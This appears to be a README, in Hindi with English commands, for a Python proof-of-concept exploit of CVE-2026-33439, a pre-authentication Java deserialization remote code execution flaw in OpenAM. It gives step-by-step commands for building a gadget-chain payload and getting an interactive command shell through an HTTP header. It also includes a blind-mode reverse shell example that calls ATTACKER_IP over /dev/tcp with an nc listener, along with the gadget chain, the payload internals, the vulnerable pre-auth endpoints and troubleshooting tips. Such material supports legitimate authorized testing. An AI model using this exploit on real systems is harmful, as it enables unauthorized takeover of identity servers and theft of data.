
Python PoC जो CVE-2026-33439 का उपयोग करता है, जो OpenAM में jato.clientSession पैरामीटर के Java deserialization के माध्यम से एक pre-auth RCE है, जिसमें interactive और blind shell मोड हैं।
OpenIdentityPlatform OpenAM <= 16.0.5 में jato.clientSession पैरामीटर के असुरक्षित Java डीसेरियलाइज़ेशन के माध्यम से प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन (CVSS 9.8)।
केवल अधिकृत सुरक्षा परीक्षण के लिए।
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py
# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
build.py के लिए — लक्ष्य सर्वर के JVM संस्करण से मेल खाना चाहिए; JDK 25 असंगत सीरियलाइज़्ड ऑब्जेक्ट उत्पन्न करता है)EvilTranslet अनुरोध से cmd HTTP हेडर पढ़ता है, उसे निष्पादित करता है, और stdout को सीधे HTTP प्रतिक्रिया में लिखता है। किसी लिसनर की आवश्यकता नहीं।
# Build interactive payload (no --command flag)
python build.py
# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"
# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell
कमांड EvilTranslet बाइटकोड में बेक कर दिया जाता है। कोई आउटपुट वापस नहीं आता; कॉलबैक पकड़ने के लिए लिसनर (nc, आदि) का उपयोग करें।
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Terminal 1: listener
nc -lvnp 4444
# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all
build.py| फ़्लैग | विवरण |
|---|---|
| (कोई फ़्लैग नहीं) | इंटरैक्टिव पेलोड बनाएँ (रनटाइम पर cmd हेडर पढ़ता है) |
--command "CMD" | CMD को बाइटकोड में बेक करके ब्लाइंड पेलोड बनाएँ |
--jars DIR | डाउनलोड करने के बजाय स्थानीय JARs निर्देशिका का उपयोग करें (डिफ़ॉल्ट: ./libs) |
--download-only | केवल JARs डाउनलोड करें, कंपाइल न करें |
exploit.py| फ़्लैग | विवरण |
|---|---|
--url URL | लक्ष्य URL (आवश्यक) — पूर्ण एंडपॉइंट या --probe/--all के साथ बेस URL |
--shell | इंटरैक्टिव स्यूडो-शेल (इंटरैक्टिव मोड) |
--probe | बेस URL से कमज़ोर एंडपॉइंट का स्वतः पता लगाएँ |
--all | सभी JATO एंडपॉइंट्स पर पेलोड पहुँचाएँ (ब्लाइंड मोड) |
--method GET|POST | HTTP डिलीवरी विधि (डिफ़ॉल्ट: GET) |
--proxy URL | HTTP प्रॉक्सी (जैसे Burp के लिए http://127.0.0.1:8080) |
--timeout SECS | अनुरोध टाइमआउट (डिफ़ॉल्ट: 15) |
--verify-tls | TLS प्रमाणपत्र सत्यापन सक्षम करें |
--debug | अनुरोध/प्रतिक्रिया विवरण दिखाएँ |
सभी स्रोत कोड रेपो में हैं — कोई अपारदर्शी ब्लॉब नहीं। Java स्रोत build.py में पठनीय स्ट्रिंग स्थिरांक के रूप में एम्बेडेड हैं। बिल्ड के बाद, आउटपुट सत्यापित करें:
python verify.py # summary: classes, integrity, red-flag scan
python verify.py --strings # all printable strings in the payload
python verify.py --hexdump # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap
PriorityQueue.readObject()
-> heapify() -> Column$ColumnComparator.compare()
-> Column.getTable().isSortedAscending()
-> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
-> TemplatesImpl.getOutputProperties()
-> defineTransletClasses() -> newInstance()
-> EvilTranslet.<clinit>() // command executes here
Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — webapp क्लासलोडर के माध्यम से HTTP अनुरोध/प्रतिक्रिया प्राप्त करेंrequest.getHeader("cmd") — कमांड पढ़ेंnew ProcessBuilder("/bin/sh", "-c", cmd) — निष्पादित करेंresponse.reset() — किसी भी पूर्व JSP आउटपुट को साफ़ करेंtext/plain के रूप में प्रतिक्रिया में लिखें, फिर आउटपुट स्ट्रीम बंद करेंRuntime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — फायर एंड फॉरगेटकोई भी JATO ViewBean एंडपॉइंट जो <jato:form> टैग रेंडर करता है, प्री-ऑथ में सुलभ:
| एंडपॉइंट | नोट्स |
|---|---|
/openam/ui/PWResetUserValidation | पासवर्ड रीसेट (सबसे विश्वसनीय) |
/openam/ui/PWResetQuestion | पासवर्ड रीसेट सुरक्षा प्रश्न |
/openam/ui/Login | लॉगिन पेज |
| लक्षण | कारण | समाधान |
|---|---|---|
| कमांड आउटपुट के बजाय HTML पेज लौटाया गया | JSP प्रतिक्रिया को ओवरराइट करता है | इंटरैक्टिव पेलोड के साथ --shell का उपयोग करें; या ब्लाइंड मोड पर स्विच करें |
| डीसेरियलाइज़ेशन ट्रिगर नहीं होता | JDK संस्करण बेमेल | JDK 21 के साथ पुनर्निर्माण करें: export JAVA_HOME=/path/to/jdk-21 |
| TLS हैंडशेक टाइमआउट | सर्वर को SNI होस्टनाम की आवश्यकता है | /etc/hosts में लक्ष्य जोड़ें और IP नहीं, होस्टनाम का उपयोग करें |
javac नहीं मिला | JDK इंस्टॉल नहीं है | apt install openjdk-21-jdk |
MIT